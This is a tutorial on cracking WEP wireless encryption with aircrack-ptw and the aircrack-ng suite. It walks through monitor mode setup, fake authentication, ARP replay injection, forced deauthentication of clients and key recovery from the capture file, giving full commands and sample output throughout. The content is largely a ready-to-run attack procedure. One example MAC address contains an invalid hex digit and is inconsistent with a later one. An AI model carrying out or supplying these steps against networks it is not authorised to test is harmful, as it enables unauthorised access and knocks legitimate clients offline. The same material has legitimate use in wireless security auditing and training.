Aircrack-PTW

Running aircrack-ptw:

POINTS TO NOTE:
This tutorial works for WEP with Open authentication.

  1. Aircrack-ptw requires the Aircrack-ng suite of tools for ARP re-injection (aireplay-ng) and data capture (airodump-ng).
  2. When starting airodump-ng do not use the —ivs parameter.
  3. Aircrack-ptw currently only works with ARP requests and ARP responses e.g. ARP re-injection carried out with aireplay. It does not work with arbitrary data e.g. file downloads etc.

Step 1: Configuring your wireless card

First stop ath0 by entering:

airmon-ng stop ath0

The system responds:

Interface       Chipset         Driver

 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)

Enter “iwconfig” to ensure there are no other athX interfaces. It should look similar to this:

lo        no wireless extensions.

 eth0      no wireless extensions.

 wifi0     no wireless extensions.

If there are any remaining athX interfaces, then stop each one. When you are finished, run “iwconfig” to ensure there are none left.

Now, enter the following command to start the wireless card on channel 9 in monitor mode:

airmon-ng start wifi0 9

Note: In this command we use “wifi0” instead of our wireless interface of “ath0”. This is because the madwifi-ng drivers are being used.

The system will respond:

Interface       Chipset         Driver

 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

You will notice that “ath0” is reported above as being put into monitor mode.

Then enter “ifconfig ath0 up” to bring up ath0 to be used in later steps. This is only required when using madwifi-ng drivers.

To confirm the interface is properly setup, enter “iwconfig”.

The system will respond:

lo        no wireless extensions.

 wifi0     no wireless extensions.

 eth0      no wireless extensions.

 ath0      IEEE 802.11g  ESSID:""  Nickname:""
        Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82   
        Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3  
        Retry:off   RTS thr:off   Fragment thr:off
        Encryption key:off
        Power Management:off
        Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
        Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
        Tx excessive retries:0  Invalid misc:0   Missed beacon:0

In the response above, you can see that ath0 is in monitor mode, on the 2.452GHz frequency which is channel 9 and the Access Point shows the MAC address of your wireless card. So everything is good. It is important to confirm all this information prior to proceeding, otherwise the following steps will not work properly.

To match the frequency to the channel, check out: http://www.rflinx.com/help/calculations/#2.4ghz_wifi_channels then select the “Wifi Channel Selection and Channel Overlap” tab. This will give you the frequency for each channel.

Step 2: Use aireplay-ng to do a fake authentication with the access point

In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet. In this state, no new IVs are created because the AP is ignoring all the injected packets.

The lack of association with the access point is the single biggest reason why injection fails. Remember the golden rule: The MAC you use for injection must be associated with the AP by either using fake authentication or using a MAC from an already-associated client.

To associate with an access point, use fake authentication:

aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

Where:

  • -1 means fake authentication
  • 0 reassociation timing in seconds
  • -e teddy is the wireless network name
  • -a 00:14:6C:7E:40:80 is the access point MAC address
  • -h 00:0F:B5:88:AC:82 is our card MAC addresss
  • ath0 is the wireless interface name

Success looks like:

18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful :-)

Or another variation for picky access points:

aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

Where:

6000 - Reauthenticate very 6000 seconds. The long period also causes keep alive packets to be sent.
-o 1 - Send only one set of packets at a time. Default is multiple and this confuses some APs.
-q 10 - Send keep alive packets every 10 seconds.

Success looks like:

18:22:32  Sending Authentication Request
18:22:32  Authentication successful
18:22:32  Sending Association Request
18:22:32  Association successful :-)
18:22:42  Sending keep-alive packet
18:22:52  Sending keep-alive packet
# and so on.

Here is an example of what a failed authentication looks like:

8:28:02  Sending Authentication Request
18:28:02  Authentication successful
18:28:02  Sending Association Request
18:28:02  Association successful :-)
18:28:02  Got a deauthentication packet!
18:28:05  Sending Authentication Request
18:28:05  Authentication successful
18:28:05  Sending Association Request
18:28:10  Sending Authentication Request
18:28:10  Authentication successful
18:28:10  Sending Association Request

Notice the “Got a deauthentication packet” and the continuous retries above. Do not proceed to the next step until you have the fake authentication running correctly.
Troubleshooting Tips

  • Some access points are configured to only allow selected MAC addresses to associate and connect. If this is the case, you will not be able to successfully do fake authentication unless you know one of the MAC addresses on the allowed list. If you suspect this is the problem, use the fullowing command while trying to do fake authentication. Start another session and…
Run: tcpdump -n -vvv -s0 -e -i <interface name> | grep -E “(RA:<MAC addreess of your card>|Authentication|ssoc)”

You would then look for error messages.

  • If at any time you wish to confirm you are properly associated is to use tcpdump and look at the packets. Start another session and…

Run:

“tcpdump -n -e -s0 -vvv -i ath0”

Here is a typical tcpdump error message you are looking for:

11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80   DeAuthentication: Class 3 frame received from nonassociated station

Notice that the access point (00:14:6c:7e:40:80) is telling the source (00:0F:B5:88:AC:82) you are not associated. Meaning, the AP will not process or accept the injected packets.

If you want to select only the DeAuth packets with tcpdump then you can use: “tcpdump -n -e -s0 -vvv -i ath0 | grep DeAuth”. You may need to tweak the phrase “DeAuth” to pick out the exact packets you want.

Step 3: Start airodump-ng:

airodump-ng --channel X --write prefix_for_capture_file interface

i.e. airodump-ng --channel 3 --write tocrack ath0

Step 4: Start aireplay-ng:

aireplay-ng -3 -b bssid_of_target_ap -h mac_of_attack_interface interface

i.e.  aireplay-ng -3 -b 00:12:17:A7:AF:EG -h 00:0F:3D:57:FD:C0 ath0

Step 5: Deauthenticate Clients if Needed

If no ARP requests are captured it may be necessary to deauth a network client, forcing the client to generate an arp-request

aireplay-ng --deauth 15 -a MAC_of_AP -c MAC_of_Client_to_Deauth interface

i.e. aireplay-ng --deauth 15 -a 00:12:17:A7:AF:E4 -c 00:0F:3D:57:FD:C0 ath0
  • -a BSSID/Mac address of the Access Point
  • -c MAC Address of the Client you are trying to deauth

Step 6: Apply Aircrack-PTW

Collect between the recommended 40,000 and 85,000+ data packets.

Once 40,000 data packets have been collected aircrack-ptw can be run against the resultant data file (failed attempt below)

aircrack-ng -z filetocrack*.cap -b bssid_of_AP

You can carry on collecting data packets whilst running aircrack-ptw against the capture file.

Unless otherwise stated, the content of this page is licensed under Creative Commons Attribution-Share Alike 2.5 License.